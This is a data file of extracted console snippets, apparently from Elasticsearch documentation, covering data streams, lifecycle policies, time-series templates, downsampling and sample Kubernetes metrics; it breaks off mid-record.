{"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":507},"digest":"38af4a55c1ea0f908dc7b06d680d2789","lang":"console","found":["ruby"],"source":"PUT /_data_stream/new-data-stream"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":528},"digest":"998651b98e152add530084a631a4ab5a","lang":"console","found":["ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\": {\n \"indices.lifecycle.poll_interval\": \"1m\"\n }\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":556},"digest":"3337c817ebd438254505a31e91c91724","lang":"console","found":["ruby"],"source":"GET /_data_stream/my-data-stream"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":565},"digest":"806c99638885e2ac07b471415ad2f202","lang":"console-result","found":[],"source":"{\n \"data_streams\": [\n {\n \"name\": \"my-data-stream\",\n \"timestamp_field\": {\n \"name\": \"@timestamp\"\n },\n \"indices\": [\n {\n \"index_name\": \".ds-my-data-stream-2099.03.07-000001\", <1>\n \"index_uuid\": \"Gpdiyq8sRuK9WuthvAdFbw\",\n \"prefer_ilm\": true,\n \"managed_by\": \"Unmanaged\"\n },\n {\n \"index_name\": \".ds-my-data-stream-2099.03.08-000002\",\n \"index_uuid\": \"_eEfRrFHS9OyhqWntkgHAQ\",\n \"prefer_ilm\": true,\n \"managed_by\": \"Unmanaged\"\n }\n ],\n \"generation\": 2,\n \"status\": \"GREEN\",\n \"next_generation_managed_by\": \"Unmanaged\",\n \"prefer_ilm\": true,\n \"template\": \"my-data-stream-template\",\n \"hidden\": false,\n \"system\": false,\n \"allow_custom_routing\": false,\n \"replicated\": false,\n \"rollover_on_write\": false\n }\n ]\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":616},"digest":"85f6667f148d16d075493fddf07e2932","lang":"console","found":["ruby"],"source":"POST /_reindex\n{\n \"source\": {\n \"index\": \".ds-my-data-stream-2099.03.07-000001\"\n },\n \"dest\": {\n \"index\": \"new-data-stream\",\n \"op_type\": \"create\"\n }\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":642},"digest":"d803ed00d8f45f81c33e415e1c1ecb8c","lang":"console","found":["ruby"],"source":"POST /_reindex\n{\n \"source\": {\n \"index\": \"my-data-stream\",\n \"query\": {\n \"range\": {\n \"@timestamp\": {\n \"gte\": \"now-7d/d\",\n \"lte\": \"now/d\"\n }\n }\n }\n },\n \"dest\": {\n \"index\": \"new-data-stream\",\n \"op_type\": \"create\"\n }\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":673},"digest":"863253bf0ab7d227ff72a0a384f4de8c","lang":"console","found":["ruby"],"source":"PUT /_cluster/settings\n{\n \"persistent\": {\n \"indices.lifecycle.poll_interval\": null\n }\n}"}, {"source_location":{"file":"data-streams/change-mappings-and-settings.asciidoc","line":695},"digest":"f823e4b87ed181b27f73ebc51351f0ee","lang":"console","found":["ruby"],"source":"DELETE /_data_stream/my-data-stream"}, {"source_location":{"file":"alias.asciidoc","line":102},"digest":"650a0fb27c66a790c4687267423af1da","lang":"console","found":["ruby"],"source":"POST _aliases\n{\n \"actions\": [\n {\n \"remove\": {\n \"index\": \"logs-nginx.access-prod\",\n \"alias\": \"logs\"\n }\n },\n {\n \"add\": {\n \"index\": \"logs-my_app-default\",\n \"alias\": \"logs\"\n }\n }\n ]\n}"}, {"source_location":{"file":"data-streams/set-up-tsds.asciidoc","line":60},"digest":"6d81c749ff9554044ee5f3ad92dcb89a","lang":"console","found":[],"source":"PUT _ilm/policy/my-weather-sensor-lifecycle-policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\": {\n \"max_age\": \"1d\",\n \"max_primary_shard_size\": \"50gb\"\n }\n }\n },\n \"warm\": {\n \"min_age\": \"30d\",\n \"actions\": {\n \"shrink\": {\n \"number_of_shards\": 1\n },\n \"forcemerge\": {\n \"max_num_segments\": 1\n }\n }\n },\n \"cold\": {\n \"min_age\": \"60d\",\n \"actions\": {\n \"searchable_snapshot\": {\n \"snapshot_repository\": \"found-snapshots\"\n }\n }\n },\n \"frozen\": {\n \"min_age\": \"90d\",\n \"actions\": {\n \"searchable_snapshot\": {\n \"snapshot_repository\": \"found-snapshots\"\n }\n }\n },\n \"delete\": {\n \"min_age\": \"735d\",\n \"actions\": {\n \"delete\": {}\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/set-up-tsds.asciidoc","line":136},"digest":"7c2b45de463c8c5a06e933b1793b584b","lang":"console","found":["ruby"],"source":"PUT _component_template/my-weather-sensor-mappings\n{\n \"template\": {\n \"mappings\": {\n \"properties\": {\n \"sensor_id\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n },\n \"location\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n },\n \"temperature\": {\n \"type\": \"half_float\",\n \"time_series_metric\": \"gauge\"\n },\n \"humidity\": {\n \"type\": \"half_float\",\n \"time_series_metric\": \"gauge\"\n },\n \"@timestamp\": {\n \"type\": \"date\",\n \"format\": \"strict_date_optional_time\"\n }\n }\n }\n },\n \"_meta\": {\n \"description\": \"Mappings for weather sensor data\"\n }\n}"}, {"source_location":{"file":"data-streams/set-up-tsds.asciidoc","line":187},"digest":"50d36787601ebba01fc6266abe3bd415","lang":"console","found":["ruby"],"source":"PUT _component_template/my-weather-sensor-settings\n{\n \"template\": {\n \"settings\": {\n \"index.lifecycle.name\": \"my-lifecycle-policy\"\n }\n },\n \"_meta\": {\n \"description\": \"Index settings for weather sensor data\"\n }\n}"}, {"source_location":{"file":"data-streams/set-up-tsds.asciidoc","line":229},"digest":"dd360e1cf42ad897e2ab9e785a45466f","lang":"console","found":["ruby"],"source":"PUT _index_template/my-weather-sensor-index-template\n{\n \"index_patterns\": [\"metrics-weather_sensors-*\"],\n \"data_stream\": { },\n \"template\": {\n \"settings\": {\n \"index.mode\": \"time_series\",\n \"index.routing_path\": [ \"sensor_id\", \"location\" ]\n }\n },\n \"composed_of\": [ \"my-weather-sensor-mappings\", \"my-weather-sensor-settings\" ],\n \"priority\": 500,\n \"_meta\": {\n \"description\": \"Template for my weather sensor data\"\n }\n}"}, {"source_location":{"file":"data-streams/set-up-tsds.asciidoc","line":282},"digest":"7e2b9bf4ab353c377b761101775edf93","lang":"console","found":[],"source":"PUT metrics-weather_sensors-dev/_bulk\n{ \"create\":{ } }\n{ \"@timestamp\": \"2099-05-06T16:21:15.000Z\", \"sensor_id\": \"HAL-000001\", \"location\": \"plains\", \"temperature\": 26.7,\"humidity\": 49.9 }\n{ \"create\":{ } }\n{ \"@timestamp\": \"2099-05-06T16:25:42.000Z\", \"sensor_id\": \"SYKENET-000001\", \"location\": \"swamp\", \"temperature\": 32.4, \"humidity\": 88.9 }\n\nPOST metrics-weather_sensors-dev/_doc\n{\n \"@timestamp\": \"2099-05-06T16:21:15.000Z\",\n \"sensor_id\": \"SYKENET-000001\",\n \"location\": \"swamp\",\n \"temperature\": 32.4,\n \"humidity\": 88.9\n}"}, {"source_location":{"file":"data-streams/set-up-tsds.asciidoc","line":305},"digest":"821ac598f5f4a795a13f8dd0c0c4d8d6","lang":"console","found":["ruby"],"source":"PUT _data_stream/metrics-weather_sensors-dev"}, {"source_location":{"file":"data-streams/set-up-tsds.asciidoc","line":338},"digest":"edb5cad890208014ecd91f3f739ce193","lang":"console","found":["ruby"],"source":"POST metrics-weather_sensors-dev/_rollover"}, {"source_location":{"file":"indices/downsample-data-stream.asciidoc","line":59},"digest":"424fbf082cd4affb84439abfc916b597","lang":"console","found":["ruby"],"source":"POST /my-time-series-index/_downsample/my-downsampled-time-series-index\n{\n \"fixed_interval\": \"1d\"\n}"}, {"source_location":{"file":"data-streams/downsampling.asciidoc","line":90},"digest":"839a4b2930856790e34cc9dfeb983284","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/my_policy\n{\n \"policy\": {\n \"phases\": {\n \"warm\": {\n \"actions\": {\n \"downsample\" : {\n \"fixed_interval\": \"1h\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/downsampling-ilm.asciidoc","line":53},"digest":"5ab9b44939fb30f5b4adbdcc4bcc0733","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/datastream_policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\" : {\n \"max_age\": \"5m\"\n },\n \"downsample\": {\n \t \"fixed_interval\": \"1h\"\n \t }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/downsampling-ilm.asciidoc","line":91},"digest":"3c09ca91057216125ed0e3856a91ff95","lang":"console","found":["ruby"],"source":"PUT _index_template/datastream_template\n{\n \"index_patterns\": [\n \"datastream*\"\n ],\n \"data_stream\": {},\n \"template\": {\n \"settings\": {\n \"index\": {\n \"mode\": \"time_series\",\n \"number_of_replicas\": 0,\n \"number_of_shards\": 2\n },\n \"index.lifecycle.name\": \"datastream_policy\"\n },\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"type\": \"date\"\n },\n \"kubernetes\": {\n \"properties\": {\n \"container\": {\n \"properties\": {\n \"cpu\": {\n \"properties\": {\n \"usage\": {\n \"properties\": {\n \"core\": {\n \"properties\": {\n \"ns\": {\n \"type\": \"long\"\n }\n }\n },\n \"limit\": {\n \"properties\": {\n \"pct\": {\n \"type\": \"float\"\n }\n }\n },\n \"nanocores\": {\n \"type\": \"long\",\n \"time_series_metric\": \"gauge\"\n },\n \"node\": {\n \"properties\": {\n \"pct\": {\n \"type\": \"float\"\n }\n }\n }\n }\n }\n }\n },\n \"memory\": {\n \"properties\": {\n \"available\": {\n \"properties\": {\n \"bytes\": {\n \"type\": \"long\",\n \"time_series_metric\": \"gauge\"\n }\n }\n },\n \"majorpagefaults\": {\n \"type\": \"long\"\n },\n \"pagefaults\": {\n \"type\": \"long\",\n \"time_series_metric\": \"gauge\"\n },\n \"rss\": {\n \"properties\": {\n \"bytes\": {\n \"type\": \"long\",\n \"time_series_metric\": \"gauge\"\n }\n }\n },\n \"usage\": {\n \"properties\": {\n \"bytes\": {\n \"type\": \"long\",\n \"time_series_metric\": \"gauge\"\n },\n \"limit\": {\n \"properties\": {\n \"pct\": {\n \"type\": \"float\"\n }\n }\n },\n \"node\": {\n \"properties\": {\n \"pct\": {\n \"type\": \"float\"\n }\n }\n }\n }\n },\n \"workingset\": {\n \"properties\": {\n \"bytes\": {\n \"type\": \"long\",\n \"time_series_metric\": \"gauge\"\n }\n }\n }\n }\n },\n \"name\": {\n \"type\": \"keyword\"\n },\n \"start_time\": {\n \"type\": \"date\"\n }\n }\n },\n \"host\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n },\n \"namespace\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n },\n \"node\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n },\n \"pod\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/downsampling-ilm.asciidoc","line":260},"digest":"408060f0c52300588a6dee774f4fd6a5","lang":"console","found":["ruby"],"source":"PUT /datastream/_bulk?refresh\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:49:00Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":91153,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":463314616},\"usage\":{\"bytes\":307007078,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":585236},\"rss\":{\"bytes\":102728},\"pagefaults\":120901,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:45:50Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":124501,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":982546514},\"usage\":{\"bytes\":360035574,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":1339884},\"rss\":{\"bytes\":381174},\"pagefaults\":178473,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:44:50Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":38907,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":862723768},\"usage\":{\"bytes\":379572388,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":431227},\"rss\":{\"bytes\":386580},\"pagefaults\":233166,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:44:40Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":86706,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":567160996},\"usage\":{\"bytes\":103266017,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":1724908},\"rss\":{\"bytes\":105431},\"pagefaults\":233166,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:44:00Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":150069,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":639054643},\"usage\":{\"bytes\":265142477,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":1786511},\"rss\":{\"bytes\":189235},\"pagefaults\":138172,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:42:40Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":82260,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":854735585},\"usage\":{\"bytes\":309798052,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":924058},\"rss\":{\"bytes\":110838},\"pagefaults\":259073,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:42:10Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":153404,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":279586406},\"usage\":{\"bytes\":214904955,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":1047265},\"rss\":{\"bytes\":91914},\"pagefaults\":302252,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:40:20Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":125613,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":822782853},\"usage\":{\"bytes\":100475044,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":2109932},\"rss\":{\"bytes\":278446},\"pagefaults\":74843,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:40:10Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":100046,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":567160996},\"usage\":{\"bytes\":362826547,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":1986724},\"rss\":{\"bytes\":402801},\"pagefaults\":296495,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:38:30Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":40018,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":1062428344},\"usage\":{\"bytes\":265142477,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":2294743},\"rss\":{\"bytes\":340623},\"pagefaults\":224530,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n"}, {"source_location":{"file":"data-streams/downsampling-ilm.asciidoc","line":294},"digest":"8357aa6099089940589ae3e97e7bcffa","lang":"console","found":["ruby"],"source":"GET _data_stream"}, {"source_location":{"file":"data-streams/downsampling-ilm.asciidoc","line":303},"digest":"98883cb8c1be21d374f9eec953f50f45","lang":"console-result","found":[],"source":"{\n \"data_streams\": [\n {\n \"name\": \"datastream\",\n \"timestamp_field\": {\n \"name\": \"@timestamp\"\n },\n \"indices\": [\n {\n \"index_name\": \".ds-datastream-2022.08.26-000001\",\n \"index_uuid\": \"5g-3HrfETga-5EFKBM6R-w\"\n },\n {\n \"index_name\": \".ds-datastream-2022.08.26-000002\",\n \"index_uuid\": \"o0yRTdhWSo2pY8XMvfwy7Q\"\n }\n ],\n \"generation\": 2,\n \"status\": \"GREEN\",\n \"template\": \"datastream_template\",\n \"ilm_policy\": \"datastream_policy\",\n \"hidden\": false,\n \"system\": false,\n \"allow_custom_routing\": false,\n \"replicated\": false,\n \"rollover_on_write\": false,\n \"time_series\": {\n \"temporal_ranges\": [\n {\n \"start\": \"2022-08-26T13:29:07.000Z\",\n \"end\": \"2022-08-26T19:29:07.000Z\"\n }\n ]\n }\n }\n ]\n}"}, {"source_location":{"file":"data-streams/downsampling-ilm.asciidoc","line":348},"digest":"511e5bb8ab881171b7e8629095e30b85","lang":"console","found":["ruby"],"source":"GET datastream/_search"}, {"source_location":{"file":"data-streams/downsampling-ilm.asciidoc","line":356},"digest":"bbee58201c57c052a070d2bfc87582ff","lang":"console-result","found":[],"source":"{\n \"took\": 17,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 4,\n \"successful\": 4,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 10,\n \"relation\": \"eq\"\n },\n..."}, {"source_location":{"file":"data-streams/downsampling-ilm.asciidoc","line":381},"digest":"8357aa6099089940589ae3e97e7bcffa","lang":"console","found":["ruby"],"source":"GET _data_stream"}, {"source_location":{"file":"data-streams/downsampling-ilm.asciidoc","line":391},"digest":"2d9c58f05984d31d9f467d66f78700ff","lang":"console-result","found":[],"source":"{\n \"data_streams\": [\n {\n \"name\": \"datastream\",\n \"timestamp_field\": {\n \"name\": \"@timestamp\"\n },\n \"indices\": [\n {\n \"index_name\": \"downsample-6tkn-.ds-datastream-2022.08.26-000001\",\n \"index_uuid\": \"qRane1fQQDCNgKQhXmTIvg\"\n },\n {\n \"index_name\": \".ds-datastream-2022.08.26-000002\",\n \"index_uuid\": \"o0yRTdhWSo2pY8XMvfwy7Q\"\n }\n ],\n..."}, {"source_location":{"file":"data-streams/downsampling-ilm.asciidoc","line":417},"digest":"511e5bb8ab881171b7e8629095e30b85","lang":"console","found":["ruby"],"source":"GET datastream/_search"}, {"source_location":{"file":"data-streams/downsampling-ilm.asciidoc","line":427},"digest":"726ee37a01d90cac78377ddc0b6eb1b9","lang":"console-result","found":[],"source":"{\n \"took\": 6,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 4,\n \"successful\": 4,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1,\n \"hits\": [\n {\n \"_index\": \"downsample-6tkn-.ds-datastream-2022.08.26-000001\",\n \"_id\": \"0eL0wC_4-45SnTNFAAABgtpz0wA\",\n \"_score\": 1,\n \"_source\": {\n \"@timestamp\": \"2022-08-26T14:00:00.000Z\",\n \"_doc_count\": 10,\n \"kubernetes.host\": \"gke-apps-0\",\n \"kubernetes.namespace\": \"namespace26\",\n \"kubernetes.node\": \"gke-apps-0-0\",\n \"kubernetes.pod\": \"gke-apps-0-0-0\",\n \"kubernetes.container.cpu.usage.nanocores\": {\n \"min\": 38907,\n \"max\": 153404,\n \"sum\": 992677,\n \"value_count\": 10\n },\n \"kubernetes.container.memory.available.bytes\": {\n \"min\": 279586406,\n \"max\": 1062428344,\n \"sum\": 7101494721,\n \"value_count\": 10\n },\n \"kubernetes.container.memory.pagefaults\": {\n \"min\": 74843,\n \"max\": 302252,\n \"sum\": 2061071,\n \"value_count\": 10\n },\n \"kubernetes.container.memory.rss.bytes\": {\n \"min\": 91914,\n \"max\": 402801,\n \"sum\": 2389770,\n \"value_count\": 10\n },\n \"kubernetes.container.memory.usage.bytes\": {\n \"min\": 100475044,\n \"max\": 379572388,\n \"sum\": 2668170609,\n \"value_count\": 10\n },\n \"kubernetes.container.memory.workingset.bytes\": {\n \"min\": 431227,\n \"max\": 2294743,\n \"sum\": 14230488,\n \"value_count\": 10\n },\n \"kubernetes.container.cpu.usage.core.ns\": 12828317850,\n \"kubernetes.container.cpu.usage.limit.pct\": 0.000027790500098490156,\n \"kubernetes.container.cpu.usage.node.pct\": 0.000027790500098490156,\n \"kubernetes.container.memory.majorpagefaults\": 0,\n \"kubernetes.container.memory.usage.limit.pct\": 0.00009923134348355234,\n \"kubernetes.container.memory.usage.node.pct\": 0.017700377851724625,\n \"kubernetes.container.name\": \"container-name-44\",\n \"kubernetes.container.start_time\": \"2021-03-30T07:59:06.000Z\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"data-streams/downsampling-ilm.asciidoc","line":512},"digest":"397ab5f9ea0b69ae85038bb0b9915180","lang":"console","found":["ruby"],"source":"GET /_data_stream/datastream/_stats?human=true"}, {"source_location":{"file":"data-streams/downsampling-ilm.asciidoc","line":518},"digest":"3ab5db6569faae6a3fb5191e3b1c50ca","lang":"console-result","found":[],"source":"{\n \"_shards\": {\n \"total\": 4,\n \"successful\": 4,\n \"failed\": 0\n },\n \"data_stream_count\": 1,\n \"backing_indices\": 2,\n \"total_store_size\": \"16.6kb\",\n \"total_store_size_bytes\": 17059,\n \"data_streams\": [\n {\n \"data_stream\": \"datastream\",\n \"backing_indices\": 2,\n \"store_size\": \"16.6kb\",\n \"store_size_bytes\": 17059,\n \"maximum_timestamp\": 1661522400000\n }\n ]\n}"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":60},"digest":"2e3d1b293da93f2a9ecfc26786ec28d6","lang":"console","found":["ruby"],"source":"PUT _index_template/my-data-stream-template\n{\n \"index_patterns\": [\n \"my-data-stream*\"\n ],\n \"data_stream\": {},\n \"template\": {\n \"settings\": {\n \"index\": {\n \"mode\": \"time_series\",\n \"routing_path\": [\n \"kubernetes.namespace\",\n \"kubernetes.host\",\n \"kubernetes.node\",\n \"kubernetes.pod\"\n ],\n \"number_of_replicas\": 0,\n \"number_of_shards\": 2\n }\n },\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"type\": \"date\"\n },\n \"kubernetes\": {\n \"properties\": {\n \"container\": {\n \"properties\": {\n \"cpu\": {\n \"properties\": {\n \"usage\": {\n \"properties\": {\n \"core\": {\n \"properties\": {\n \"ns\": {\n \"type\": \"long\"\n }\n }\n },\n \"limit\": {\n \"properties\": {\n \"pct\": {\n \"type\": \"float\"\n }\n }\n },\n \"nanocores\": {\n \"type\": \"long\",\n \"time_series_metric\": \"gauge\"\n },\n \"node\": {\n \"properties\": {\n \"pct\": {\n \"type\": \"float\"\n }\n }\n }\n }\n }\n }\n },\n \"memory\": {\n \"properties\": {\n \"available\": {\n \"properties\": {\n \"bytes\": {\n \"type\": \"long\",\n \"time_series_metric\": \"gauge\"\n }\n }\n },\n \"majorpagefaults\": {\n \"type\": \"long\"\n },\n \"pagefaults\": {\n \"type\": \"long\",\n \"time_series_metric\": \"gauge\"\n },\n \"rss\": {\n \"properties\": {\n \"bytes\": {\n \"type\": \"long\",\n \"time_series_metric\": \"gauge\"\n }\n }\n },\n \"usage\": {\n \"properties\": {\n \"bytes\": {\n \"type\": \"long\",\n \"time_series_metric\": \"gauge\"\n },\n \"limit\": {\n \"properties\": {\n \"pct\": {\n \"type\": \"float\"\n }\n }\n },\n \"node\": {\n \"properties\": {\n \"pct\": {\n \"type\": \"float\"\n }\n }\n }\n }\n },\n \"workingset\": {\n \"properties\": {\n \"bytes\": {\n \"type\": \"long\",\n \"time_series_metric\": \"gauge\"\n }\n }\n }\n }\n },\n \"name\": {\n \"type\": \"keyword\"\n },\n \"start_time\": {\n \"type\": \"date\"\n }\n }\n },\n \"host\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n },\n \"namespace\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n },\n \"node\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n },\n \"pod\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":224},"digest":"cbc2b5595890f87165aab1a741b1d22c","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-timestamp-pipeline\n{\n \"description\": \"Shifts the @timestamp to the last 15 minutes\",\n \"processors\": [\n {\n \"set\": {\n \"field\": \"ingest_time\",\n \"value\": \"{{_ingest.timestamp}}\"\n }\n },\n {\n \"script\": {\n \"lang\": \"painless\",\n \"source\": \"\"\"\n def delta = ChronoUnit.SECONDS.between(\n ZonedDateTime.parse(\"2022-06-21T15:49:00Z\"),\n ZonedDateTime.parse(ctx[\"ingest_time\"])\n );\n ctx[\"@timestamp\"] = ZonedDateTime.parse(ctx[\"@timestamp\"]).plus(delta,ChronoUnit.SECONDS).toString();\n \"\"\"\n }\n }\n ]\n}"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":256},"digest":"645433e8e479e5d71c100f66dd2de5d0","lang":"console","found":["ruby"],"source":"PUT /my-data-stream/_bulk?refresh&pipeline=my-timestamp-pipeline\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:49:00Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":91153,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":463314616},\"usage\":{\"bytes\":307007078,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":585236},\"rss\":{\"bytes\":102728},\"pagefaults\":120901,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": 